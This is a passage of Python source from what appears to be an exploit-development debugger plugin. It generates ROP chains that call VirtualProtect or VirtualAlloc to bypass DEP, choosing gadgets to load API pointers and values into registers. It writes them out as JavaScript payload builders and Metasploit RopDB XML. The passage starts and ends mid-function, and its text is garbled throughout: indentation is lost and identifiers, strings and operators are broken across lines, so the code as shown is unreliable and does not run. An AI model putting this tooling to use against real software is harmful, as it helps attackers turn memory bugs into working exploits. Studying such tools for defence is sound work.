vplogtxt += " rop_gadgets = unescape(\n"
allptr = thischaintxt.split("\n")
tptrcnt = 0
for tptr in allptr:
comments = tptr.split(",")
comment = ""
if len(comments) > 1:
# add everything
ic = 1
while ic < len(comments):
comment += "," + comments[ic]
ic += 1
tptrcnt += 1
comment = comment.replace(" ","")
if tptrcnt < len(allptr):
vplogtxt += "
\"" + toJavaScript(tptr
) + "\" + // " + comments[0].replace(" ","").replace(" ","") + " : " + comment
+ "\n"
else:
vplogtxt += "
\"" + toJavaScript(tptr
) + "\"); // " + comments[0].replace(" ","").replace(" ","") + " : " + comment
+ "\n\n"
else:
vplogtxt += " function get_rop_chain(%s) {\n" % argtxtj
s
vplogtxt += "
var rop_gadgets = [\n"
vplogtxt += thischaintxt.replace(" #"," //").replace("
.","")
vplogtxt += "
];\n"
vplogtxt += "
return rop_gadgets;\n"
vplogtxt += " }\n\n"
vplogtxt += " function gadgets2uni(gadgets) {\n"

vplogtxt
vplogtxt
vplogtxt
vplogtxt
vplogtxt
vplogtxt
vplogtxt
vplogtxt

+=
+=
+=
+=
+=
+=
+=
+=

"
var uni = \"\";\n"
"
for(var i=0;i<gadgets.length;i++){\n"
"
uni += d2u(gadgets[i]);\n"
"
}\n"
"
return uni;\n"
" }\n\n"
" function d2u(dword) {\n"
"
var uni = String.fromCharCode(dword & 0

xFFFF);\n"
vplogtxt += "

uni += String.fromCharCode(dword>>16);\

n"
vplogtxt
vplogtxt
vplogtxt
vplogtxt

+=
+=
+=
+=

"
return uni;\n"
" }\n\n"
"%s" % vplogtxtjs
"\n var rop_chain = gadgets2uni(get_rop_cha

in(%s));\n\n" % argtxtjs
vplogtxt += '\n-------------------------------------------------------------------------------------------------\n\n'
# MSF RopDB XML Format - spit out if only one module was selecte
d
if len(modused) == 1:
modulename = ""
for modname in modused:
modulename = modname
objMod = MnModule(modulename)
modversion = objMod.moduleVersion
modbase = objMod.moduleBase
ropdb = '<?xml version="1.0" encoding="ISO-8859-1"?>\n'
ropdb += "<db>\n<rop>\n"
ropdb += " <compatibility>\n"
ropdb += "
<target>%s</target>\n" % modversion
ropdb += " </compatibility>\n\n"
ropdb += ' <gadgets base="0x%s">\n' % toHex(modbase)
ropdb += ropdbchain.replace('[' + modulename + ']','').r
eplace('&','').replace('[IAT ' + modulename + ']','')
ropdb += ' </gadgets>\n'
ropdb += '</rop>\n</db>'
# write to file if needed
shortmodname = modulename.replace(".dll","")
ignoremodules = True
if ropdbchain.lower().find("virtualprotect") > -1:
ofile = MnLog(shortmodname+"_virtualprotect.xml"
)
thisofile = ofile.reset(showheader = False)
ofile.write(ropdb,thisofile)
if ropdbchain.lower().find("virtualalloc") > -1:
ofile = MnLog(shortmodname+"_virtualalloc.xml")
thisofile = ofile.reset(showheader = False)
ofile.write(ropdb,thisofile)
ignoremodules = False
#go to the next one
vpfile = MnLog("rop_chains.txt")
thisvplog = vpfile.reset()
vpfile.write(vplogtxt,thisvplog)
dbg.log("[+] ROP chains written to file %s" % thisvplog)
objprogressfile.write("Done creating rop chains",progressfile)

return vplogtxt

def getPickupGadget(targetreg,targetval,freetext,suggestions,interestinggadgets,
criteria,modulecriteria,routine=""):
"""
Will attempt to find a gadget that will pickup a pointer to pointer into
a register
Arguments : the destination register, the value to pick up, some free te
xt about the value,
suggestions and interestinggadgets dictionaries
Returns :
an array with the gadgets
"""
shortest_pickup = 0
thisshortest_pickup = 0
shortest_move = 0
popptr = 0
pickupfrom = ""
pickupreg = ""
pickupfound = False
pickupchain = []
movechain = []
movechain1 = []
movechain2 = []
disablelist = []
allregs = ["eax","ebx","ecx","edx","ebp","esi","edi"]
for pickuptypes in suggestions:
if pickuptypes.find("pickup pointer into " + targetreg) > -1:
thisshortest_pickup = getShortestGadget(suggestions[pick
uptypes])
if shortest_pickup == 0 or (thisshortest_pickup != 0 and
thisshortest_pickup < shortest_pickup):
shortest_pickup = thisshortest_pickup
smallparts = pickuptypes.split(" ")
pickupreg = smallparts[len(smallparts)-1].lower(
)
parts2 = interestinggadgets[shortest_pickup].spl
it("#")
#parts2[0] is empty
smallparts = parts2[1].split("[")
smallparts2 = smallparts[1].split("]")
pickupfrom = smallparts2[0].lower()
pickupfound = True
if (pickupfrom.find("+") > -1):
pickupfields = pickupfrom.split("+")
if pickupfields[1].lower in allregs:
pickupfound = False
shortest_pickup = 0
if (pickupfrom.find("-") > -1):
pickupfields = pickupfrom.split("-")

if pickupfields[1].lower in allregs:
pickupfound = False
shortest_pickup = 0
if shortest_pickup == 0:
# no direct pickup, look for indirect pickup, but prefer EAX fir
st
for movetypes in suggestions:
if movetypes.find("move eax") == 0 and movetypes.endswit
h("-> " + targetreg):
typeparts = movetypes.split(" ")
movefrom = "eax"
shortest_move = getShortestGadget(suggestions[mo
vetypes])
movechain = getGadgetMoveRegToReg(movefrom,targe
treg,suggestions,interestinggadgets)
for pickuptypes in suggestions:
if pickuptypes.find("pickup pointer into
" + movefrom) > -1:
thisshortest_pickup = getShortes
tGadget(suggestions[pickuptypes])
if shortest_pickup == 0 or (this
shortest_pickup != 0 and thisshortest_pickup < shortest_pickup):
shortest_pickup = thissh
ortest_pickup
smallparts = pickuptypes
.split(" ")
pickupreg = smallparts[l
en(smallparts)-1].lower()
parts2 = interestinggadg
ets[shortest_pickup].split("#")
#parts2[0] is empty
smallparts = parts2[1].s
plit("[")
smallparts2 = smallparts
[1].split("]")
pickupfrom = smallparts2
[0].lower()
pickupfound = True
if (pickupfrom.find("+")
> -1):
pickupfields = p
ickupfrom.split("+")
if pickupfields[
1].lower in allregs:
pickupfo
und = False
shortest
_pickup = 0
if (pickupfrom.find("-")
> -1):
pickupfields = p
ickupfrom.split("-")
if pickupfields[
1].lower in allregs:
pickupfo
und = False
shortest
_pickup = 0
if pickupfound:

break
if shortest_pickup == 0:
# no direct pickup, look for indirect pickup
for movetypes in suggestions:
if movetypes.find("move") == 0 and movetypes.endswith("> " + targetreg):
typeparts = movetypes.split(" ")
movefrom = typeparts[1]
if movefrom != "esp":
shortest_move = getShortestGadget(sugges
tions[movetypes])
movechain = getGadgetMoveRegToReg(movefr
om,targetreg,suggestions,interestinggadgets)
for pickuptypes in suggestions:
if pickuptypes.find("pickup poin
ter into " + movefrom) > -1:
thisshortest_pickup = ge
tShortestGadget(suggestions[pickuptypes])
if shortest_pickup == 0
or (thisshortest_pickup != 0 and thisshortest_pickup < shortest_pickup):
shortest_pickup
= thisshortest_pickup
smallparts = pic
kuptypes.split(" ")
pickupreg = smal
lparts[len(smallparts)-1].lower()
parts2 = interes
tinggadgets[shortest_pickup].split("#")
#parts2[0] is e
mpty
smallparts = par
ts2[1].split("[")
smallparts2 = sm
allparts[1].split("]")
pickupfrom = sma
llparts2[0].lower()
pickupfound = Tr
ue
if (pickupfrom.f
ind("+") > -1):
pickupfi
elds = pickupfrom.split("+")
if picku
pfields[1].lower in allregs:
pickupfound = False
shortest_pickup = 0
if (pickupfrom.f
ind("-") > -1):
pickupfi
elds = pickupfrom.split("-")
if picku
pfields[1].lower in allregs:
pickupfound = False
shortest_pickup = 0
if pickupfound:

break
if shortest_pickup == 0:
movechain = []
#double move
for movetype1 in suggestions:
if movetype1.find("move") == 0 and movetype1.endswith("> " + targetreg):
interimreg = movetype1.split(" ")[1]
if interimreg != "esp":
for movetype2 in suggestions:
if movetype2.find("move") == 0 a
nd movetype2.endswith("-> " + interimreg):
topickupreg= movetype2.s
plit(" ")[1]
if topickupreg != "esp":
move1 = getShort
estGadget(suggestions[movetype1])
move2 = getShort
estGadget(suggestions[movetype2])
for pickuptypes
in suggestions:
if picku
ptypes.find("pickup pointer into " + topickupreg) > -1:
thisshortest_pickup = getShortestGadget(suggestions[pickuptypes])
if shortest_pickup == 0 or (thisshortest_pickup != 0 and thisshortest_pickup < s
hortest_pickup):
shortest_pickup = thisshortest_pickup
smallparts = pickuptypes.split(" ")
pickupreg = smallparts[len(smallparts)-1].lower()
parts2 = interestinggadgets[shortest_pickup].split("#")
#parts2[0] is empty
smallparts = parts2[1].split("[")
smallparts2 = smallparts[1].split("]")
pickupfrom = smallparts2[0].lower()
pickupfound = True
if (pickupfrom.find("+") > -1):
pickupfields = pickupfrom.split("+")
if pickupfields[1].lower in allregs:
pickupfound = False
shortest_pickup = 0
if (pickupfrom.find("-") > -1):

pickupfields = pickupfrom.split("-")
if pickupfields[1].lower in allregs:
pickupfound = False
shortest_pickup = 0
if pickupfound:
movechai
n = []
movechai
n1 = getGadgetMoveRegToReg(interimreg,targetreg,suggestions,interestinggadgets)
movechai
n2 = getGadgetMoveRegToReg(topickupreg,interimreg,suggestions,interestinggadgets
)
break
if shortest_pickup > 0:
# put a value in a register
if targetval > 0:
poproutine = putValueInReg(pickupfrom,targetval,freetext
,suggestions,interestinggadgets,criteria)
for popsteps in poproutine:
pickupchain.append([popsteps[0],popsteps[1],pops
teps[2]])
else:
pickupchain.append([0,"[-] Unable to find API pointer ->
" + pickupfrom,0])
# pickup
junksize = getJunk(interestinggadgets[shortest_pickup])
pickupchain.append([shortest_pickup,"",junksize])
# move if needed
if len(movechain) > 0:
for movesteps in movechain:
pickupchain.append([movesteps[0],movesteps[1],mo
vesteps[2]])
if len(movechain2) > 0:
for movesteps in movechain2:
pickupchain.append([movesteps[0],movesteps[1],mo
vesteps[2]])
if len(movechain1) > 0:
for movesteps in movechain1:
pickupchain.append([movesteps[0],movesteps[1],mo
vesteps[2]])
elif (routine.lower() == "virtualalloc" or routine.lower() == "virtualpr
otect"):
# use alternative technique, in case of virtualprotect/virtualal
loc routine
if "pop " + targetreg in suggestions and "pop eax" in suggestion
s:
# find a jmp [eax]
pattern = "jmp [eax]"
base = 0
top = TOP_USERLAND
type = "instr"
al = criteria["accesslevel"]
criteria["accesslevel"] = "X"
global ptr_to_get

global ptr_counter
ptr_counter = 0
ptr_to_get = 5
theptr = 0
global silent
oldsilent = silent
silent=True
allpointers = findPattern(modulecriteria,criteria,patter
n,type,base,top)
silent = oldsilent
criteria["accesslevel"] = al
thismodname = ""
if len(allpointers) > 0:
for ptrtype in allpointers:
for ptrs in allpointers[ptrtype]:
theptr = ptrs
thismodname = MnPointer(theptr).
belongsTo()
break
if theptr > 0:
popptrtar = getShortestGadget(suggestions["pop "
+targetreg])
popptreax = getShortestGadget(suggestions["pop e
ax"])
junksize = getJunk(interestinggadgets[popptrtar]
)-4
pickupchain.append([popptrtar,"",junksize])
pickupchain.append([theptr,"JMP [EAX] [" + thism
odname + "]",0])
junksize = getJunk(interestinggadgets[popptreax]
)-4
pickupchain.append([popptreax,"",junksize])
pickupchain.append([targetval,freetext,0])
disablelist.append("eax")
pickupfound = True
if not pickupfound:
pickupchain.append([0,"[-] Unable to find gadgets to pickup the
desired API pointer into " + targetreg,0])
pickupchain.append([targetval,freetext,0])
return pickupchain,disablelist
def getRopFuncPtr(apiname,modulecriteria,criteria,mode = "iat"):
"""
Will get a pointer to pointer to the given API name in the IAT of the se
lected modules
Arguments :
apiname : the name of the functino
modulecriteria & criteria : module/pointer criteria
Returns :
a pointer (integer value, 0 if no pointer was found)
text (with optional info)
"""
global silent
oldsilent = silent
silent = True
global ptr_to_get

ptr_to_get = -1
rfuncsearch = apiname.lower()
ropfuncptr = 0
ropfunctext = "ptr to &" + apiname + "()"
if mode == "iat":
ropfuncs,ropfuncoffsets = findROPFUNC(modulecriteria,criteria)
silent = oldsilent
#first look for good one
for ropfunctypes in ropfuncs:
if ropfunctypes.lower().find(rfuncsearch) > -1 and ropfu
nctypes.lower().find("rebased") == -1:
ropfuncptr = ropfuncs[ropfunctypes][0]
break
if ropfuncptr == 0:
for ropfunctypes in ropfuncs:
if ropfunctypes.lower().find(rfuncsearch) > -1:
ropfuncptr = ropfuncs[ropfunctypes][0]
break
#still haven't found ? clear out modulecriteria
if ropfuncptr == 0:
oldsilent = silent
silent = True
limitedmodulecriteria = {}
limitedmodulecriteria["os"] = True
ropfuncs2,ropfuncoffsets2 = findROPFUNC(limitedmodulecri
teria,criteria)
silent = oldsilent
for ropfunctypes in ropfuncs2:
if ropfunctypes.lower().find(rfuncsearch) > -1 a
nd ropfunctypes.lower().find("rebased") == -1:
ropfuncptr = ropfuncs2[ropfunctypes][0]
ropfunctext += " (skipped module criteri
a, check if pointer is reliable !)"
break
if ropfuncptr == 0:
ropfunctext = "[-] Unable to find ptr to &" + apiname+"(
)"
else:
ropfunctext += " [IAT " + MnPointer(ropfuncptr).belongsT
o() + "]"
else:
# read EAT
modulestosearch = getModulesToQuery(modulecriteria)
for mod in modulestosearch:
tmod = MnModule(mod)
funcs = tmod.getEAT()
for func in funcs:
funcname = funcs[func].lower()
if funcname.find(rfuncsearch) > -1:
ropfuncptr = func
break
if ropfuncptr == 0:
ropfunctext = "[-] Unable to find required API pointer"
return ropfuncptr,ropfunctext

def putValueInReg(reg,value,freetext,suggestions,interestinggadgets,criteria):
putchain = []
allownull = True
popptr = 0
gadgetfound = False
offset = 0
if "+" in reg:
try:
rval = reg.split("+")[1].strip("h")
offset = int(rval,16) * (-1)
reg = reg.split("+")[0]
except:
reg = reg.split("+")[0]
offset = 0
elif "-" in reg:
try:
rval = reg.split("-")[1].strip("h")
offset = int(rval,16)
reg = reg.split("-")[0]
except:
reg = reg.split("-")[0]
offset = 0
if value != 0:
value = value + offset
if value < 0:
value = 0xffffffff + value + 1
negvalue = 4294967296 - value
ptrval = MnPointer(value)
if meetsCriteria(ptrval,criteria):
# easy way - just pop it into a register
for poptype in suggestions:
if poptype.find("pop "+reg) == 0:
popptr = getShortestGadget(suggestions[poptype])
junksize = getJunk(interestinggadgets[popptr])-4
putchain.append([popptr,"",junksize])
putchain.append([value,freetext,0])
gadgetfound = True
break
if not gadgetfound:
# move
for movetype in suggestions:
if movetype.startswith("move") and movetype.ends
with("-> " + reg):
# get "from" reg
fromreg = movetype.split(" ")[1].lower()
for poptype in suggestions:
if poptype.find("pop "+fromreg)
== 0:
popptr = getShortestGadg
et(suggestions[poptype])
junksize = getJunk(inter
estinggadgets[popptr])-4
putchain.append([popptr,

"",junksize])
putchain.append([value,f
reetext,0])
moveptr = getShortestGad
get(suggestions[movetype])
movechain = getGadgetMov
eRegToReg(fromreg,reg,suggestions,interestinggadgets)
for movesteps in movecha
in:
putchain.append(
[movesteps[0],movesteps[1],movesteps[2]])
gadgetfound = True
break
if gadgetfound:
break
if not gadgetfound or not meetsCriteria(ptrval,criteria):
if meetsCriteria(MnPointer(negvalue),criteria):
if "pop " + reg in suggestions and "neg "+reg in suggest
ions:
popptr = getShortestGadget(suggestions["pop "+re
g])
junksize = getJunk(interestinggadgets[popptr])-4
putchain.append([popptr,"",junksize])
putchain.append([negvalue,"Value to negate, will
become 0x" + toHex(value),0])
negptr = getShortestGadget(suggestions["neg "+re
g])
junksize = getJunk(interestinggadgets[negptr])
putchain.append([negptr,"",junksize])
gadgetfound = True
if not gadgetfound:
for movetype in suggestions:
if movetype.startswith("move") and movet
ype.endswith("-> " + reg):
fromreg = movetype.split(" ")[1]
if "pop " + fromreg in suggestio
ns and "neg " + fromreg in suggestions:
popptr = getShortestGadg
et(suggestions["pop "+fromreg])
junksize = getJunk(inter
estinggadgets[popptr])-4
putchain.append([popptr,
"",junksize])
putchain.append([negvalu
e,"Value to negate, will become 0x" + toHex(value)])
negptr = getShortestGadg
et(suggestions["neg "+fromreg])
junksize = getJunk(inter
estinggadgets[negptr])
putchain.append([negptr,
"",junksize])
movechain = getGadgetMov
eRegToReg(fromreg,reg,suggestions,interestinggadgets)
for movesteps in movecha
in:
putchain.append(
[movesteps[0],movesteps[1],movesteps[2]])
gadgetfound = True
break
if not gadgetfound:

# can we do this using add/sub via another register ?


for movetype in suggestions:
if movetype.startswith("move") and movetype.ends
with("-> " + reg):
fromreg = movetype.split(" ")[1]
if "pop "+ fromreg in suggestions and "a
dd value to " + fromreg in suggestions:
# check each value & see if delt
a meets pointer criteria
#dbg.log("move %s into %s" % (fr
omreg,reg))
for addinstr in suggestions["add
value to " + fromreg]:
if not gadgetfound:
theinstr = inter
estinggadgets[addinstr][3:len(interestinggadgets[addinstr])]
#dbg.log("%s" %
theinstr)
instrparts = the
instr.split("#")
totalvalue = 0
#gadget might co
ntain multiple add/sub instructions
for indivinstr i
n instrparts:
instrval
ueparts = indivinstr.split(',')
if len(i
nstrvalueparts) > 1:
# only look at real values
if isHexValue(instrvalueparts[1].rstrip()):
thisval = hexStrToInt(instrvalueparts[1])
if instrvalueparts[0].lstrip().startswith("ADD"):
totalvalue += thisval
if instrvalueparts[0].lstrip().startswith("SUB"):
totalvalue -= thisval
# subtract total
value from target value
if totalvalue >
0:
deltaval
= value - totalvalue
if delta
val < 0:
deltaval = 0xffffffff + deltaval + 1
deltaval
hex = toHex(deltaval)
if meets
Criteria(MnPointer(deltaval),criteria):
#dbg.log(" Instruction : %s, Delta : %s, To pop in reg : %s" % (theinstr,toHex
(totalvalue),deltavalhex),highlight=1)

popptr = getShortestGadget(suggestions["pop "+fromreg])


junksize = getJunk(interestinggadgets[popptr])-4
putchain.append([popptr,"",junksize])
putchain.append([deltaval,"put delta into " + fromreg + " (-> put 0x" + toHex(va
lue) + " into " + reg + ")",0])
junksize = getJunk(interestinggadgets[addinstr])
putchain.append([addinstr,"",junksize])
movptr = getShortestGadget(suggestions["move "+fromreg + " -> " + reg])
junksize = getJunk(interestinggadgets[movptr])
putchain.append([movptr,"",junksize])
gadgetfound = True
if not gadgetfound:
if "pop " + reg in suggestions and "neg "+reg in suggest
ions and "dec "+reg in suggestions:
toinc = 0
while not meetsCriteria(MnPointer(negvalue-toinc
),criteria):
toinc += 1
if toinc > 250:
break
if toinc <= 250:
popptr = getShortestGadget(suggestions["
pop "+reg])
junksize = getJunk(interestinggadgets[po
pptr])-4
putchain.append([popptr,"",junksize])
putchain.append([negvalue-toinc,"Value t
o negate, destination value : 0x" + toHex(value),0])
negptr = getShortestGadget(suggestions["
neg "+reg])
cnt = 0
decptr = getShortestGadget(suggestions["
dec "+reg])
junksize = getJunk(interestinggadgets[ne
gptr])
putchain.append([negptr,"",junksize])
junksize = getJunk(interestinggadgets[de
cptr])
while cnt < toinc:
putchain.append([decptr,"",junks
ize])
cnt += 1
gadgetfound = True
if not gadgetfound:
for movetype in suggestions:
if movetype.startswith("move") and movet
ype.endswith("-> " + reg):
fromreg = movetype.split(" ")[1]

if "pop " + fromreg in suggestio


ns and "neg " + fromreg in suggestions and "dec "+fromreg in suggestions:
toinc = 0
while not meetsCriteria(
MnPointer(negvalue-toinc),criteria):
toinc += 1
if toinc > 250:
break
if toinc <= 250:
popptr = getShor
testGadget(suggestions["pop "+fromreg])
junksize = getJu
nk(interestinggadgets[popptr])-4
putchain.append(
[popptr,"",junksize])
putchain.append(
[negvalue-toinc,"Value to negate, destination value : 0x" + toHex(value),0])
negptr = getShor
testGadget(suggestions["neg "+fromreg])
junksize = getJu
nk(interestinggadgets[negptr])
cnt = 0
decptr = getShor
testGadget(suggestions["dec "+fromreg])
putchain.append(
[negptr,"",junksize])
junksize = getJu
nk(interestinggadgets[decptr])
while cnt < toin
c:
putchain
.append([decptr,"",junksize])
cnt += 1
movechain = getG
adgetMoveRegToReg(fromreg,reg,suggestions,interestinggadgets)
for movesteps in
movechain:
putchain
.append([movesteps[0],movesteps[1],movesteps[2]])
gadgetfound = Tr
ue
break
if not gadgetfound and "pop " + reg in suggestions and "
neg "+reg in suggestions and "inc "+reg in suggestions:
toinc = 0
while not meetsCriteria(MnPointer(negvalue-toinc
),criteria):
toinc -= 1
if toinc < -250:
break
if toinc > -250:
popptr = getShortestGadget(suggestions["
pop "+reg])
junksize = getJunk(interestinggadgets[po
pptr])-4
putchain.append([popptr,"",junksize])
putchain.append([negvalue-toinc,"Value t
o negate, destination value : 0x" + toHex(value),0])
negptr = getShortestGadget(suggestions["

neg "+reg])
junksize = getJunk(interestinggadgets[ne
gptr])
putchain.append([negptr,"",junksize])
incptr = getShortestGadget(suggestions["
inc "+reg])
junksize = getJunk(interestinggadgets[in
cptr])
while toinc < 0:
putchain.append([incptr,"",junks
ize])
toinc += 1
gadgetfound = True
if not gadgetfound:
for movetype in suggestions:
if movetype.startswith("move") and movet
ype.endswith("-> " + reg):
fromreg = movetype.split(" ")[1]
if "pop " + fromreg in suggestio
ns and "neg " + fromreg in suggestions and "inc "+fromreg in suggestions:
toinc = 0
while not meetsCriteria(
MnPointer(negvalue-toinc),criteria):
toinc -= 1
if toinc < -250:
break
if toinc > -250:
popptr = getShor
testGadget(suggestions["pop "+fromreg])
junksize = getJu
nk(interestinggadgets[popptr])-4
putchain.append(
[popptr,""])
putchain.append(
[negvalue-toinc,"Value to negate, destination value : 0x" + toHex(value)])
negptr = getShor
testGadget(suggestions["neg "+fromreg])
junksize = getJu
nk(interestinggadgets[negptr])
putchain.append(
[negptr,"",junksize])
decptr = getShor
testGadget(suggestions["inc "+fromreg])
junksize = getJu
nk(interestinggadgets[incptr])
while toinc < 0
:
putchain
.append([incptr,"",junksize])
toinc +=
1
movechain = getG
adgetMoveRegToReg(fromreg,reg,suggestions,interestinggadgets)
for movesteps in
movechain:
putchain
.append([movesteps[0],movesteps[1],movesteps[2]])
gadgetfound = Tr
ue

break
if not gadgetfound and "add value to " + reg in suggestions and
"pop " + reg in suggestions:
addtypes = ["ADD","ADC","XOR", "SUB"]
for addtype in addtypes:
for ptrs in suggestions["add value to " + reg]:
thisinstr = interestinggadgets[ptrs]
thisparts = thisinstr.split("#")
addinstr = thisparts[1].lstrip().split("
,")
if thisparts[1].startswith(addtype):
if addtype == "ADD" or addtype =
= "ADC":
addvalue = hexStrToInt(a
ddinstr[1])
delta = value - addvalue
if delta < 0:
delta = 0xffffff
ff + delta + 1
if addtype == "XOR":
delta = hexStrToInt(addi
nstr[1]) ^ value
if addtype == "SUB":
addvalue = hexStrToInt(a
ddinstr[1])
delta = value + addvalue
if delta < 0:
delta = 0xffffff
ff + delta + 1
if meetsCriteria(MnPointer(delta
),criteria):
popptr = getShortestGadg
et(suggestions["pop "+reg])
junksize = getJunk(inter
estinggadgets[popptr])-4
putchain.append([popptr,
"",junksize])
putchain.append([delta,"
Diff to desired value",0])
junksize = getJunk(inter
estinggadgets[ptrs])
putchain.append([ptrs,""
,junksize])
gadgetfound = True
break
if not gadgetfound:
for movetype in suggestions:
if movetype.startswith("move") and movetype.ends
with("-> " + reg):
fromreg = movetype.split(" ")[1]
if "add value to " + fromreg in suggesti
ons and "pop " + fromreg in suggestions:
addtypes = ["ADD","ADC","XOR","S
UB"]
for addtype in addtypes:
for ptrs in suggestions[
"add value to " + fromreg]:
thisinstr = inte

restinggadgets[ptrs]
thisparts = this
instr.split("#")
addinstr = thisp
arts[1].lstrip().split(",")
if thisparts[1].
startswith(addtype):
if addty
pe == "ADD" or addtype == "ADC":
addvalue = hexStrToInt(addinstr[1])
delta = value - addvalue
if delta < 0:
delta = 0xffffffff + delta + 1
if addty
pe == "XOR":
delta = hexStrToInt(addinstr[1]) ^ value
if addty
pe == "SUB":
addvalue = hexStrToInt(addinstr[1])
delta = value + addvalue
if delta < 0:
delta = 0xffffffff + delta + 1
#dbg.log
("0x%s : %s, delta : 0x%s" % (toHex(ptrs),thisinstr,toHex(delta)))
if meets
Criteria(MnPointer(delta),criteria):
popptr = getShortestGadget(suggestions["pop "+fromreg])
junksize = getJunk(interestinggadgets[popptr])-4
putchain.append([popptr,"",junksize])
putchain.append([delta,"Diff to desired value",0])
junksize = getJunk(interestinggadgets[ptrs])
putchain.append([ptrs,"",junksize])
movechain = getGadgetMoveRegToReg(fromreg,reg,suggestions,interestinggadgets)
for movesteps in movechain:
putchain.append([movesteps[0],movesteps[1],movesteps[2]])
gadgetfound = True
break
if not gadgetfound and "inc " + reg in suggestions and value <=
64:
cnt = 0

# can we clear the reg ?


clearsteps = clearReg(reg,suggestions,interestinggadgets
)
for cstep in clearsteps:
putchain.append([cstep[0],cstep[1],cstep[2]])
# inc
incptr = getShortestGadget(suggestions["inc "+reg])
junksize = getJunk(interestinggadgets[incptr])
while cnt < value:
putchain.append([incptr,"",junksize])
cnt += 1
gadgetfound = True
if not gadgetfound:
putchain.append([0,"[-] Unable to find gadget to put " +
toHex(value) + " into " + reg,0])
return putchain
def getGadgetMoveRegToReg(fromreg,toreg,suggestions,interestinggadgets):
movechain = []
movetype = "move " + fromreg + " -> " + toreg
if movetype in suggestions:
moveptr = getShortestGadget(suggestions[movetype])
moveinstr = interestinggadgets[moveptr].lstrip()
if moveinstr.startswith("# XOR") or moveinstr.startswith("# OR")
or moveinstr.startswith("# AD"):
clearchain = clearReg(toreg,suggestions,interestinggadge
ts)
for cc in clearchain:
movechain.append([cc[0],cc[1],cc[2]])
junksize = getJunk(interestinggadgets[moveptr])
movechain.append([moveptr,"",junksize])
else:
movetype1 = "xor " + fromreg + " -> " + toreg
movetype2 = "xor " + toreg + " -> " + fromreg
if movetype1 in suggestions and movetype2 in suggestions:
moveptr1 = getShortestGadget(suggestions[movetype1])
junksize = getJunk(interestinggadgets[moveptr1])
movechain.append([moveptr1,"",junksize])
moveptr2 = getShortestGadget(suggestions[movetype2])
junksize = getJunk(interestinggadgets[moveptr2])
movechain.append([moveptr2,"",junksize])
return movechain
def clearReg(reg,suggestions,interestinggadgets):
clearchain = []
clearfound = False
if not "clear " + reg in suggestions:
if not "inc " + reg in suggestions or not "pop " + reg in sugges
tions:
# maybe it will work using a move from another register
for inctype in suggestions:
if inctype.startswith("inc"):
increg = inctype.split(" ")[1]
iptr = getShortestGadget(suggestions["in
c " + increg])
for movetype in suggestions:
if movetype == "move " + increg
+ " -> " + reg and "pop " + increg in suggestions:
moveptr = getShortestGad
get(suggestions[movetype])

moveinstr = interestingg
adgets[moveptr].lstrip()
if not(moveinstr.startsw
ith("# XOR") or moveinstr.startswith("# OR") or moveinstr.startswith("# AD")):
#kewl
pptr = getShorte
stGadget(suggestions["pop " + increg])
junksize = getJu
nk(interestinggadgets[pptr])-4
clearchain.appen
d([pptr,"",junksize])
clearchain.appen
d([0xffffffff," ",0])
junksize = getJu
nk(interestinggadgets[iptr])
clearchain.appen
d([iptr,"",junksize])
junksize = getJu
nk(interestinggadgets[moveptr])
clearchain.appen
d([moveptr,"",junksize])
clearfound = Tru
e
break
if not clearfound:
clearchain.append([0,"[-] Unable to find a gadge
t to clear " + reg,0])
else:
#pop FFFFFFFF into reg, then do inc reg => 0
pptr = getShortestGadget(suggestions["pop " + reg])
junksize = getJunk(interestinggadgets[pptr])-4
clearchain.append([pptr,"",junksize])
clearchain.append([0xffffffff," ",0])
iptr = getShortestGadget(suggestions["inc " + reg])
junksize = getJunk(interestinggadgets[iptr])
clearchain.append([iptr,"",junksize])
else:
shortest_clear = getShortestGadget(suggestions["clear " + reg])
junksize = getJunk(interestinggadgets[shortest_clear])
clearchain.append([shortest_clear,"",junksize])
return clearchain
def getGadgetValueToReg(reg,value,suggestions,interestinggadgets):
negfound = False
blocktxt = ""
blocktxt2 = ""
tonegate = 4294967296 - value
nregs = ["eax","ebx","ecx","edx","edi"]
junksize = 0
junk2size = 0
negateline = "
0x" + toHex(tonegate)+", # value to negate, target
value : 0x" + toHex(value) + ", target reg : " + reg +"\n"
if "neg " + reg in suggestions:
negfound = True
negptr = getShortestGadget(suggestions["neg " + reg])
if "pop "+reg in suggestions:
pptr = getShortestGadget(suggestions["pop " + reg])
blocktxt2 += "
0x" + toHex(pptr)+", "+interestingg
adgets[pptr].strip()+" ("+MnPointer(pptr).belongsTo()+")\n"
blocktxt2 += negateline

junk2size = getJunk(interestinggadgets[pptr])-4
else:
blocktxt2 += "
0x????????,# find a way to pop the
next value into "+thisreg+"\n"
blocktxt2 += negateline
blocktxt2 += "
0x" + toHex(negptr)+", "+interestinggadgets
[negptr].strip()+" ("+MnPointer(negptr).belongsTo()+")\n"
junksize = getJunk(interestinggadgets[negptr])-4
if not negfound:
nregs.remove(reg)
for thisreg in nregs:
if "neg "+ thisreg in suggestions and not negfound:
blocktxt2 = ""
junk2size = 0
negfound = True
#get pop first
if "pop "+thisreg in suggestions:
pptr = getShortestGadget(suggestions["po
p " + thisreg])
blocktxt2 += "
0x" + toHex(pptr)+",
"+interestinggadgets[pptr].strip()+" ("+MnPointer(pptr).belongsTo()+")\n"
blocktxt2 += negateline
junk2size = getJunk(interestinggadgets[p
ptr])-4
else:
blocktxt2 += "
0x????????,# find a
way to pop the next value into "+thisreg+"\n"
blocktxt2 += negateline
negptr = getShortestGadget(suggestions["neg " +
thisreg])
blocktxt2 += "
0x" + toHex(negptr)+", "+in
terestinggadgets[negptr].strip()+" ("+MnPointer(negptr).belongsTo()+")\n"
junk2size = junk2size + getJunk(interestinggadge
ts[negptr])-4
#now move it to reg
if "move " + thisreg + " -> " + reg in suggestio
ns:
bptr = getShortestGadget(suggestions["mo
ve " + thisreg + " -> " + reg])
if interestinggadgets[bptr].strip().star
tswith("# ADD"):
if not "clear " + reg in suggest
ions:
# other way to clear reg
, using pop + inc ?
if not "inc " + reg in s
uggestions or not "pop " + reg in suggestions:
blocktxt2 += "
0x????????, # find pointer to clear " + reg+"\n"
else:
#pop FFFFFFFF in
to reg, then do inc reg => 0
pptr = getShorte
stGadget(suggestions["pop " + reg])
blocktxt2 += "
0x" + toHex(pptr)+", "+interestinggadgets[pptr].strip()+" ("+MnPointer(pptr
).belongsTo()+")\n"
blocktxt2 += "
0xffffffff, # pop value into " + reg + "\n"

blocktxt2 += cre
ateJunk(getJunk(interestinggadgets[pptr])-4)
iptr = getShorte
stGadget(suggestions["inc " + reg])
blocktxt2 += "
0x" + toHex(iptr)+", "+interestinggadgets[iptr].strip()+" ("+MnPointer(pptr
).belongsTo()+")\n"
junksize += getJ
unk(interestinggadgets[iptr])
else:
clearptr = getShortestGa
